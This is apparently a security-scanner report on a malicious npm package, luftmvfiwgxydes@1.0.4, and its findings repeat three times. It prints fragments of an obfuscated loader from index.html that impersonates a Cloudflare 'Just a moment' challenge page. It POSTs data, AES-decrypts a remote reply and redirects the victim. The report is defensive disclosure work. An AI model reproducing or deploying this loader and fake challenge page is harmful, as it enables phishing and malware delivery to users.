luftmvfiwgxydes@1.0.4: Malicious npm security report (Block)

Loading npm security reports…

luftmvfiwgxydes@1.0.4: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

9 flagged

182} L183: function _0x47ca94(_0x1e22d1,_0x4ec574,_0x4eaea9,_0x3e84d2){const _0x3f8892={_0x14d62d:0x379};return _0x5a94(_0x3e84d2-_0x3f8892._0x14d62d,_0x4eaea9);}(function(_0x4cce65,_0x2ffb2a...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title> <link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

High

Ai Review Evidence

index.html impersonates a Cloudflare waiting page titled Just a moment and loads Turnstile from challenges.cloudflare.com.

index.htmlView on unpkg · L7

183const hostKey=_0xd7f3cc(0xd8,0x58,0x35,0x4f)+_0xd7f3cc(-0xa7,-0x8d,0x3a,-0x4b)+_0x47ca94(0x4d2,0x4a5,0x4ce,0x467)+_0xd7f3cc(0x43,0xe3,0x10f,0x83),aesKeyBase64=_0xd7f3cc(0x23,0x1c,0x78,0x7e)+'Vx/0JBFgP6'+_0xd7f3cc(-0x53,0x5e,-0x13,-0xd)+_0x47ca94(0x54f,0x4a9,0x489,0x4e2)+_0xd7f3cc(0x51,0x2,0x64,-0x16),hasTurnstile=!![]

High

Ai Review Evidence

A packed inline script stores hostKey and aesKeyBase64, POSTs JSON with fetch, then AES-decrypts the reply with crypto.subtle.

index.htmlView on unpkg · L183

183{'method':_0x7e29d8[_0x546ae2(_0x26364c._0x1d2107,-_0x26364c._0x2406f9,-_0x26364c._0x498e45,_0x26364c._0x23557b)],'headers':{'Content-Type':_0x7e29d8['ussao']},'body':JSON['stringify'](_0x2cc74c)})

High

Ai Review Evidence

A packed inline script stores hostKey and aesKeyBase64, POSTs JSON with fetch, then AES-decrypts the reply with crypto.subtle.

index.htmlView on unpkg · L183

183_0x5c09b1=await crypto['subtle']['importKey'](_0x7e29d8['dqVPb'],decodeBase64(aesKeyBase64),{'name':_0x7e29d8[_0x552253(_0x26364c._0x2ec758,_0x26364c._0x2b444f,_0x26364c._0xbcc2c9,_0x26364c._0x3166f4)]},![],['decrypt'])

High

Ai Review Evidence

A packed inline script stores hostKey and aesKeyBase64, POSTs JSON with fetch, then AES-decrypts the reply with crypto.subtle.

index.htmlView on unpkg · L183

178function onTurnstileComplete(token) { if (window.__challengeRedirect) { window.__challengeRedirect(); } }

High

Ai Review Evidence

After the challenge, the script reads redirect_url from that decrypted control data and onTurnstileComplete calls window.__challengeRedirect.

index.htmlView on unpkg · L178

183if(_0x1b6a48&&_0x1b6a48[_0x1bfd42(_0x257452._0xf2908f,_0x257452._0x3e4982,0x278,_0x257452._0x20f075)]&&_0x1b6a48['redirect_u'+'rl']){if(_0x3e82c7[_0x1bfd42(_0x257452._0x1ae581,0x170,_0x257452._0x416f62,_0x257452._0x3437bd)](_0x1bfd42(_0x257452._0x3f3303,_0x257452._0x2eee8c,_0x257452._0x230739,_0x257452._0x29d2dd),_0x3e82c7[_0x1bfd42(0x1a1,0x144,_0x257452._0x2ad688,_0x257452._0x5aeea6)]))return _0x1b6a48['redirect_u'+'rl'];

High

Ai Review Evidence

After the challenge, the script reads redirect_url from that decrypted control data and onTurnstileComplete calls window.__challengeRedirect.

index.htmlView on unpkg · L183

package.jsonView file

1{ "name": "luftmvfiwgxydes", "version": "1.0.4", "main": "index.html", "files": [ "index.html" ] }

High

Ai Review Evidence

The package has a random name, ships only index.html as main, and is not a usable Node library.

package.jsonView on unpkg · L1

Source & flagged code

9 flagged · loading source

index.htmlView file

182} L183: function _0x47ca94(_0x1e22d1,_0x4ec574,_0x4eaea9,_0x3e84d2){const _0x3f8892={_0x14d62d:0x379};return _0x5a94(_0x3e84d2-_0x3f8892._0x14d62d,_0x4eaea9);}(function(_0x4cce65,_0x2ffb2a...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title> <link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

High

Ai Review Evidence

index.html impersonates a Cloudflare waiting page titled Just a moment and loads Turnstile from challenges.cloudflare.com.

index.htmlView on unpkg · L7

High

Ai Review Evidence

A packed inline script stores hostKey and aesKeyBase64, POSTs JSON with fetch, then AES-decrypts the reply with crypto.subtle.

index.htmlView on unpkg · L183

High

Ai Review Evidence

A packed inline script stores hostKey and aesKeyBase64, POSTs JSON with fetch, then AES-decrypts the reply with crypto.subtle.

index.htmlView on unpkg · L183

High

Ai Review Evidence

A packed inline script stores hostKey and aesKeyBase64, POSTs JSON with fetch, then AES-decrypts the reply with crypto.subtle.

index.htmlView on unpkg · L183

178function onTurnstileComplete(token) { if (window.__challengeRedirect) { window.__challengeRedirect(); } }

High

Ai Review Evidence

After the challenge, the script reads redirect_url from that decrypted control data and onTurnstileComplete calls window.__challengeRedirect.

index.htmlView on unpkg · L178

High

Ai Review Evidence

After the challenge, the script reads redirect_url from that decrypted control data and onTurnstileComplete calls window.__challengeRedirect.

index.htmlView on unpkg · L183

package.jsonView file

1{ "name": "luftmvfiwgxydes", "version": "1.0.4", "main": "index.html", "files": [ "index.html" ] }

High

Ai Review Evidence

The package has a random name, ships only index.html as main, and is not a usable Node library.

package.jsonView on unpkg · L1

Source & flagged code

9 flagged

index.htmlView file

182} L183: function _0x47ca94(_0x1e22d1,_0x4ec574,_0x4eaea9,_0x3e84d2){const _0x3f8892={_0x14d62d:0x379};return _0x5a94(_0x3e84d2-_0x3f8892._0x14d62d,_0x4eaea9);}(function(_0x4cce65,_0x2ffb2a...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title> <link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

High

Ai Review Evidence

index.html impersonates a Cloudflare waiting page titled Just a moment and loads Turnstile from challenges.cloudflare.com.

index.htmlView on unpkg · L7

High

Ai Review Evidence

A packed inline script stores hostKey and aesKeyBase64, POSTs JSON with fetch, then AES-decrypts the reply with crypto.subtle.

index.htmlView on unpkg · L183

High

Ai Review Evidence

A packed inline script stores hostKey and aesKeyBase64, POSTs JSON with fetch, then AES-decrypts the reply with crypto.subtle.

index.htmlView on unpkg · L183

High

Ai Review Evidence

A packed inline script stores hostKey and aesKeyBase64, POSTs JSON with fetch, then AES-decrypts the reply with crypto.subtle.

index.htmlView on unpkg · L183

178function onTurnstileComplete(token) { if (window.__challengeRedirect) { window.__challengeRedirect(); } }

High

Ai Review Evidence

After the challenge, the script reads redirect_url from that decrypted control data and onTurnstileComplete calls window.__challengeRedirect.

index.htmlView on unpkg · L178

High

Ai Review Evidence

After the challenge, the script reads redirect_url from that decrypted control data and onTurnstileComplete calls window.__challengeRedirect.

index.htmlView on unpkg · L183

package.jsonView file

1{ "name": "luftmvfiwgxydes", "version": "1.0.4", "main": "index.html", "files": [ "index.html" ] }

High

Ai Review Evidence

The package has a random name, ships only index.html as main, and is not a usable Node library.

package.jsonView on unpkg · L1

luftmvfiwgxydes@1.0.4

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code